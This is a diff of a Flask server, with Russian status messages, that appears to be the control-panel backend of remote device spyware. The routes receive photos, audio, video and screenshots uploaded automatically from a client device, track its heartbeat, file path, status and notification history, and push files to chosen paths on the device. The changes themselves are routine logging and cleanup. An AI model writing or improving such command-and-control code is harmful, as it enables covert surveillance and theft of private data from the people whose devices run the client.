             file.save(filepath)
-            origin_command_type = request.form.get("origin_command_type", "unknown")
-            # Update server's general command_output only if it was a requested download by user.
-            # For automatic uploads like photo/audio/video, the client will send its own summary.
-            if origin_command_type == "request_download_file":
-                 command_output = f"Файл '{filename}' успешно загружен С клиента на сервер."
-            # Client will send its own output string, which will override command_output on server via /submit_client_data
-
-            return jsonify({'status': 'success', 'filename': filename, 'message': f'Файл {filename} получен сервером.'})
+            # Update command_output for the admin panel for next refresh, ONLY for user-initiated downloads.
+            # For automatic uploads (photo, audio, video, screenshot), the client will send its own status.
+            if origin_command_type == "upload_to_server": # This is from "request_download_file" from panel
+                 command_output = f"Файл '{final_filename}' успешно загружен С клиента на сервер."
+            # The client_uploads_file_to_server function receives this JSON response:
+            return jsonify({'status': 'success', 'filename': final_filename, 'message': f'File {final_filename} uploaded successfully from client command {origin_command_type}.'}), 200
         except Exception as e:
-            # This message might be seen by the client if its upload function checks response text.
-            return jsonify({'status': 'error', 'message': f'Ошибка сохранения файла от клиента на сервере: {str(e)}'}), 500
+            # command_output = f"Ошибка сохранения файла от клиента ({origin_command_type}): {str(e)}"
+            app.logger.error(f"Error saving file from client {origin_command_type}: {e}")
+            return jsonify({'status': 'error', 'message': str(e)}), 500
+    
+    return jsonify({'status': 'error', 'message': 'File object not valid after checks'}), 400
+
 
 @app.route('/get_status_output', methods=['GET'])
 def get_status_output_route():
     global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
     return jsonify({
-        'output': command_output,
+        'output': command_output, 
         'last_heartbeat': last_client_heartbeat,
         'current_path': current_client_path,
         'device_status': device_status_info,
-        'notifications': notifications_history
+        'notifications': notifications_history 
     })
 
 @app.route('/uploads_from_client/<path:filename>')
@@ -810,57 +814,65 @@ def uploaded_file_from_client(filename):
 @app.route('/list_uploaded_files')
 def list_uploaded_files_route():
     files = []
+    upload_folder = app.config['UPLOAD_FOLDER']
     try:
-        valid_files = [f_name for f_name in os.listdir(app.config['UPLOAD_FOLDER']) if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name))]
-        files = sorted(valid_files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)
+        for f_name in os.listdir(upload_folder):
+            if os.path.isfile(os.path.join(upload_folder, f_name)):
+                files.append(f_name)
+        # Sort files by modification time, newest first
+        files.sort(key=lambda f: os.path.getmtime(os.path.join(upload_folder, f)), reverse=True)
     except Exception as e:
-        print(f"Error listing uploaded files: {e}") # Log server-side
-        pass
+        app.logger.error(f"Error listing uploaded files: {e}")
+        pass 
     return jsonify({'files': files})
 
 
 @app.route('/upload_to_server_for_client', methods=['POST'])
 def upload_to_server_for_client_route():
-    # global file_to_send_to_client # This global seems unused
+    # This route handles files uploaded FROM THE ADMIN PANEL, to be sent TO THE CLIENT device.
     global command_output
     if 'file_to_device' not in request.files:
         return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
-
+    
     file = request.files['file_to_device']
     target_path_on_device = request.form.get('target_path_on_device')
 
     if file.filename == '':
-        return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
-
+        return jsonify({'status': 'error', 'message': 'No selected file for_device (empty filename)'}), 400
+    
     if not target_path_on_device:
         return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
 
     if file:
         original_filename = werkzeug.utils.secure_filename(file.filename)
-        # Use UUID to ensure unique filename on server, client will receive original_filename for saving
-        server_side_filename = str(uuid.uuid4()) + "_" + original_filename
+        # Use a unique name on the server to avoid collisions, client will save with original_filename
+        server_side_filename = str(uuid.uuid4()) + "_" + original_filename 
         filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
-
+        
         try:
             file.save(filepath_on_server)
-            # This command_output will be shown on the web UI temporarily
-            command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
-            # The JS will then call sendGenericCommand to queue 'receive_file' for the client
+            # This message will be shown in the admin panel via refreshOutput
+            command_output = f"Файл {original_filename} загружен на сервер (как {server_side_filename}), готов к отправке клиенту в {target_path_on_device}."
+            # This JSON is returned to the handleUploadToServer JS function
             return jsonify({
-                'status': 'success',
-                'server_filename': server_side_filename, # This is the UUID prepended name
-                'original_filename': original_filename, # Client should use this to save
-                'target_path_on_device': target_path_on_device # Echo back for JS to use
+                'status': 'success', 
+                'server_filename': server_side_filename, # The unique name on server (with UUID)
+                'original_filename': original_filename, # The name client should use
+                'target_path_on_device': target_path_on_device
             })
         except Exception as e:
+            app.logger.error(f"Server error saving file for client: {e}")
             return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
-    return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
+            
+    return jsonify({'status': 'error', 'message': 'File processing failed on server after checks'}), 500
 
 @app.route('/download_to_client/<filename>')
 def download_to_client(filename):
-    # Filename here is the server_side_filename (with UUID)
+    # This serves files FROM app.config['FILES_TO_CLIENT_FOLDER'] TO the client device
     return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
 
 
 if __name__ == '__main__':
+    import logging
+    logging.basicConfig(level=logging.INFO) # Basic logging for Flask
     app.run(host='0.0.0.0', port=7860, debug=False)